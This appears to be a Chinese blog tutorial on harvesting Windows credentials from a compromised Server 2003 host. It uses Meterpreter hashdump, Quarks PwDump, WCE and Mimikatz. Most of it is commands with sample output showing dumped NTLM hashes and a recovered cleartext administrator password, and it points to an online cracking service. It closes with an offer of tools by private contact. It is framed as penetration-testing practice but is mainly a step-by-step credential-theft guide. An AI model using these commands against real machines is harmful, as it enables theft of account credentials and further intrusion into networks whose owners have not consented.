多种姿势抓取windows系统的hash值

前言

这里抓取演示的系统都是03的系统。

hashdump抓取密码

从目标机中提取hash值,破解hash值就可获得账号密码,计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在sam文件中,当计算机运行时,该文件对所有账号进行锁定,要访问就必须有系统级账号,所以要使用该命令就必须进行权限提升
在shell提示符下输入hashdump命令,将导出目标机sam数据库中的hash


meterpreter > hashdump
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
ASPNET:1007:4274ebc980bc50aed4a6c053eb6761b1:326f3aae7bd9312f6b32afafec858d53:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:ae694413fb708add0aa8b1b47358ce92:::

而另一份模块smart_hashdump的功能更为强大,可以导出域所有用户的hash,其工作流程如下:

 - 检查meterpreter会话的权限和目标机操作系统类型
 - 检查目标机是否为域控制服务器
 - 首先尝试从注册机中读取hash不行再尝试注入LSASS进程

可以暴力或者彩虹表来对抓取到的hash进行破解:http://www.cmd5.com/

Quarks PwDump抓取密码

一款win32环境下的系统授权信息导出工具,支持的操作系统为xp、03、win7、win8、2008等在windows的密码系统中,密码以加密的方式保存在sam文件中,而账号在登录后会将密码的密文和明文保存在系统的内存中,正常下是不能读取的,但是Qp就能读取

直接运行Quarks PwDump.exe
-dhl:导出本地哈希值
-dhdc:导出内存中的域控哈希值
-dhd:导出域控哈希值,必须指定NTDS文件
-db:导出Bitlocker信息,必须指定NTDS文件
-nt:导出NTDS文件
-hist:导出历史信息,可选项
-t:可选导出类型,默认导出JOhn类型
-o:导出文件到本地

多种姿势抓取windows系统的hash值_第1张图片
这里使用该工具抓取hash值并导出,可以输入命令导出本地哈希值到当前目录的1.txt

QuarksPwDump.exe --dump-hash-local --output 1.txt

多种姿势抓取windows系统的hash值_第2张图片

windows Credentials Editor抓取密码

Windows Credentials Editor (WCE) 是一款功能强大的Windows平台内网渗透工具,它能列举登录会话,并且可以添加、改变和删除相关凭据(例如LM/NTHash)。这些功能在内网渗透中能够被利用,例如,在Windows平台上执行绕过Hash操作或者从内存中获取NT/LM Hash (也可以从交互式登录、服务、远程桌面连接中获取)以用于进一步的攻击, 而且体积也非常小,是内网渗透时的必备工具。不过必须在管理员权限下使用,还要注意杀毒工具的免杀。
首先输入upload命令将wce.exe上传到目标主机C盘中,然后在目标机Shell下输入wce-w命令,便会成功提取系统明文管理员的密码

meterpreter > upload /root/wce.exe C:\Documents and Settings\Administrator\桌面\wce_v1_3beta>

默认使用-|命令读取数据格式username: domain: Im: ntlm (这种读取是从内存中读取已经登录的信息,而不是读取sam数据库中的信息),默认的读取方式是先用安全的方式读取,若读取失败再用不安全的方式,所以很有可能对系统造成破坏。这里建议使用-f参数强制使用安全的方式读取。-g参数是用来计算密码的,就是制定一个系统明文会使用的加密方法来计算密文-c参数用于指定会话来执行cmd, -v参数用于显示详细信息,这样才能看到luid信息,-w参数是最关键的,用于查看已登录的明文密码

-c参数用于指定会话来执行cmd
-v参数用于显示详细信息
-w用于查看已经登陆的明文密码
-l读取从内存中已经登陆的信息
-f强制使用安全的方式读取
-g用来计算密码

多种姿势抓取windows系统的hash值_第3张图片

Mimikatz抓取密码

Mimikatz是法国专家Benjamin Delpy (@gentilkiwi)写的轻量级调试器,作为一款后渗透测试工具,它可以帮助安全测试人员轻松抓取系统密码,此外还包括能够通过获取的Kerberos登录凭据,绕过支持RestrictedAdmin模式下Windows 8或Windows Server 2012的远程终端(RDP)等功能。在最初渗透阶段之后的大多数时间里,攻击者可能想在计算机/网络中得到一个更坚固的立足点,这样做通常需要一组补充的工具,Mimikatz就是一 种将攻击者想执行的、 最有用的任务捆绑在一起的尝试。需要注意该工具在Windows 2000与Windows XP系统下无法使用Metasploit已经将其作为一个Meterpreter脚本集成了 ,以便用户使用,而不需要上传该软件到目标主机上。Mimikatz必须在管理员权限下使用,此时假设我们通过一系列前期渗透已经成功获得目标机的Meterpreter Shell

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

获取系统SYSTEM权限后,首先查看目标机器的架构。虽然Mimikatz同时支持32位和64位的Windows架构,但如果服务器是64位操作系统,直接使用Mimikatz后,Meterpreter会默认加载一个32位版本的Mimikatz到内存, 使得很多功能无效而且在64位操作系统下必须先查看系统进程列表,然后在加载Mimikatz之前将进程迁移到一个64位程序的进程中,才能查看系统密码明文,在32位操作系统下就没有这个限制。这里输入sysinfo命令

meterpreter > sysinfo
Computer        : WWW
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

直接加载mimikatz并查看帮助

meterpreter > load mimikatz
Loading extension mimikatz...Success.
meterpreter > help mimikatz

Mimikatz Commands
=================

    Command           Description
    -------           -----------
    kerberos          Attempt to retrieve kerberos creds.
    livessp           Attempt to retrieve livessp creds.
    mimikatz_command  Run a custom command.
    msv               Attempt to retrieve msv creds (hashes).
    ssp               Attempt to retrieve ssp creds.
    tspkg             Attempt to retrieve tspkg creds.
    wdigest           Attempt to retrieve wdigest creds.
    

mimikatz command选项可以让我们使用Mimikatz的全部功能,需要通过加载一个错误的模块得到可用模块的完整列表。

meterpreter > mimikatz_command -f a::
Module : 'a' introuvable

Modules disponibles : 
            	- Standard
      crypto	- Cryptographie et certificats
        hash	- Hash
      system	- Gestion syst�me
     process	- Manipulation des processus
      thread	- Manipulation des threads
     service	- Manipulation des services
   privilege	- Manipulation des privil�ges
      handle	- Manipulation des handles
 impersonate	- Manipulation tokens d'acc�s
     winmine	- Manipulation du d�mineur
 minesweeper	- Manipulation du d�mineur 7
       nogpo	- Anti-gpo et patchs divers
     samdump	- Dump de SAM
      inject	- Injecteur de librairies
          ts	- Terminal Server
      divers	- Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
    sekurlsa	- Dump des sessions courantes par providers LSASS
         efs	- Manipulations EFS

我们可以使用":”语法请求某个模块可用的选项,选定一个模块后也可以使用”:”查看本模块的帮助,例如查看Hash的可用选项有Im和ntlm两种

meterpreter > mimikatz_command -f hash::
Module : 'hash' identifi�, mais commande '' introuvable

Description du module : Hash
          lm	- Hash LanManager (LM) d'une cha�ne de caract�res
        ntlm	- Hash NT LanManger (NTLM) d'une cha�ne de caract�res

知道了Mimikatz的大概使用方法后,我们既可以使用Metasploit内建的命令,也可以使用Mimikatz自带的命令从目标机器上导出Hash和明文证书。接着直接输入msv命令抓取系统Hash值。

meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

AuthID    Package    Domain        User             Password
------    -------    ------        ----             --------
0;202037  NTLM       WWW           Administrator    lm{
      44efce164ab921caaad3b435b51404ee }, ntlm{
      32ed87bdb5fdc5e9cba88547376818d4 }
0;996     Negotiate  NT AUTHORITY  NETWORK SERVICE  lm{
      aad3b435b51404eeaad3b435b51404ee }, ntlm{
      31d6cfe0d16ae931b73c59d7e0c089c0 }
0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE    n.s. (Credentials KO)
0;53201   NTLM                                      n.s. (Credentials KO)
0;999     NTLM       WORKGROUP     WWW$             n.s. (Credentials KO)

输入kerberos命令可以抓取系统票据

meterpreter > kerberos 
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================

AuthID    Package    Domain        User             Password
------    -------    ------        ----             --------
0;996     Negotiate  NT AUTHORITY  NETWORK SERVICE  
0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE    
0;53201   NTLM                                      
0;999     NTLM       WORKGROUP     WWW$             
0;202037  NTLM       WWW           Administrator    123456

输入wdigest命令可以获取系统账户信息

meterpreter > wdigest 
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
===================

AuthID    Package    Domain        User             Password
------    -------    ------        ----             --------
0;996     Negotiate  NT AUTHORITY  NETWORK SERVICE  
0;997     Negotiate  NT AUTHORITY  LOCAL SERVICE    
0;53201   NTLM                                      
0;999     NTLM       WORKGROUP     WWW$             
0;202037  NTLM       WWW           Administrator    123456

接着输入samdump命令查看samdump的可用选项,然后输入mimikatz_command -f samdump:: hashes命令抓取Hash

mimikatz_command -f samdump:: 

Mimikatz除了可以抓取Hash,还有很多其他功能,例如使用Handle模块、list/kill进程,以及模拟用户令牌。

需要工具看这里

又是朴素而又充实的一天啊!需要工具的可以加我或者私聊。
QQ:3075999532
公众号:
多种姿势抓取windows系统的hash值_第4张图片

你可能感兴趣的:(kali,linux,linux,安全)